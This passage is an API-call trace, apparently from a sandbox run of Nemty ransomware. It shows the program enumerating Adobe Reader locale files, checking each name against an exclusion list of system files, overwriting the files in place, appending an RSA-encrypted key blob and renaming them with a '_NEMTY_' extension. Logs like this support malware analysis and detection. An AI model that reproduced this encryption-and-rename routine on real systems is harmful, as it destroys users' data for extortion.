pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.985] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.986] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0173.986] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="ztuER6ubW1ZInMoUzii5A4UTI+jBeHENJxGH1BllMDKLX8r0EHUTXHlrqdNUv0jY\r\nGtihqmqLdg5aQNlAYHfwKT+PkEwjXPs19VBcFAIp4bbMm/XI7Zk2vCfqSX7nZhXy\r\nV1y9qIwAvpQtwIyAl0sFkiAU5O+A//guawmkRjf0jYJqCjC0UW2IT3thPP16spRl\r\nXdgBBIGTS1Tu96rcEeX3rTueV4NArfeCJHhYCVtXR9fTMBMuqBKWLgjxQ9CkfWA4\r\nwYJ3DGBbuvSLFqlewoM+iI7HFVn3SXV0DxQRn7cNev8M2td1shsYUL9dGT58Cxk7\r\nGTcbVIm8DBcXYzWJ87L6XA==\r\n", pcchString=0x653e5dc) returned 1 [0173.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0173.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0173.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0173.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\adobecollabsync.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0173.988] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0173.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0173.988] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.988] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0173.992] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.992] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0173.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.992] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0173.992] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.992] CloseHandle (hObject=0x2e8) returned 1 [0173.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0173.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0173.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0173.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0173.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0173.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0173.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0173.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0173.993] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\adobecollabsync.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\adobecollabsync.cze._nemty_kgobjgd_")) returned 1 [0173.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0173.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0173.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0173.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.993] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.CZE", cAlternateFileName="")) returned 1 [0173.993] lstrcmpiW (lpString1="Annots.CZE", lpString2=".") returned 1 [0173.993] lstrcmpiW (lpString1="Annots.CZE", lpString2="..") returned 1 [0173.993] lstrcmpiW (lpString1="Annots.CZE", lpString2="...") returned 1 [0173.993] lstrcmpiW (lpString1="Annots.CZE", lpString2="windows") returned -1 [0173.993] lstrcmpiW (lpString1="Annots.CZE", lpString2="$RECYCLE.BIN") returned 1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="rsa") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="NTDETECT.COM") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="ntldr") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="MSDOS.SYS") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="IO.SYS") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="boot.ini") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="boot.ini") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="AUTOEXEC.BAT") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="ntuser.dat") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="desktop.ini") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="CONFIG.SYS") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="RECYCLER") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="BOOTSECT.BAK") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="bootmgr") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="programdata") returned -1 [0173.994] lstrcmpiW (lpString1="Annots.CZE", lpString2="appdata") returned -1 [0173.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CZE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CZE", lpUsedDefaultChar=0x0) returned 10 [0173.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CZE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CZE", lpUsedDefaultChar=0x0) returned 10 [0173.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CZE", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CZE", lpUsedDefaultChar=0x0) returned 10 [0173.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CZE", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CZE", lpUsedDefaultChar=0x0) returned 10 [0173.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.995] Sleep (dwMilliseconds=0x5) [0174.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b5bed70, dwHighDateTime=0x1d561e8)) [0174.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b5bed70, dwHighDateTime=0x1d561e8)) [0174.001] GetLastError () returned 0x0 [0174.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.001] GetLastError () returned 0x0 [0174.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.001] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.001] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.002] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.002] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="anFWahx6JgttflfXVglf2KnoeO5HO2NLWdBOREdvVRp+7Oh1POjYKh95wh/PKots\r\nJT8opOeJRWPPSA0ukHYqJIS1PjE5niXrR1Xru9fhKSj7VREDrPIp0mB6ewPpeD0o\r\nTS8dZtR3jYmh68icq7YoRehhHoedrwS0Xt7mB00rQaQmu1zNZuh2mSP++zlbUFDy\r\nKN4AIa+Cz7Ueioukxe5NYAEICknL3D+9+UEN1hHKFZUEXxXoALdgU9E1zY/pN3PL\r\nmqgQMgbCfNfusln29kGO8EMrNmg9GUVW60skyb4uQzeL1v2j6rLJKNEw4ZWh4tME\r\nn/as0qCT8WW4NH41NFLnZQ==\r\n", pcchString=0x653e5dc) returned 1 [0174.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.002] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\annots.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.002] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=486400) returned 1 [0174.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0174.002] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.002] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0174.012] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.012] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0174.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.013] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=486400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x76c00 [0174.013] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.027] CloseHandle (hObject=0x2e8) returned 1 [0174.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0174.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.028] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\annots.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\annots.cze._nemty_kgobjgd_")) returned 1 [0174.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0174.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.030] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.CZE", cAlternateFileName="BRDLAN~1.CZE")) returned 1 [0174.030] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2=".") returned 1 [0174.030] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="..") returned 1 [0174.030] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="...") returned 1 [0174.030] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="windows") returned -1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="rsa") returned -1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="NTDETECT.COM") returned -1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="ntldr") returned -1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="MSDOS.SYS") returned -1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="IO.SYS") returned -1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="boot.ini") returned 1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="boot.ini") returned 1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="ntuser.dat") returned -1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="desktop.ini") returned -1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="CONFIG.SYS") returned -1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="RECYCLER") returned -1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="bootmgr") returned 1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="programdata") returned -1 [0174.031] lstrcmpiW (lpString1="BRdlang32.CZE", lpString2="appdata") returned 1 [0174.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CZE", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CZE", lpUsedDefaultChar=0x0) returned 13 [0174.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CZE", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CZE", lpUsedDefaultChar=0x0) returned 13 [0174.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CZE", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CZE", lpUsedDefaultChar=0x0) returned 13 [0174.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CZE", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CZE", lpUsedDefaultChar=0x0) returned 13 [0174.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.032] 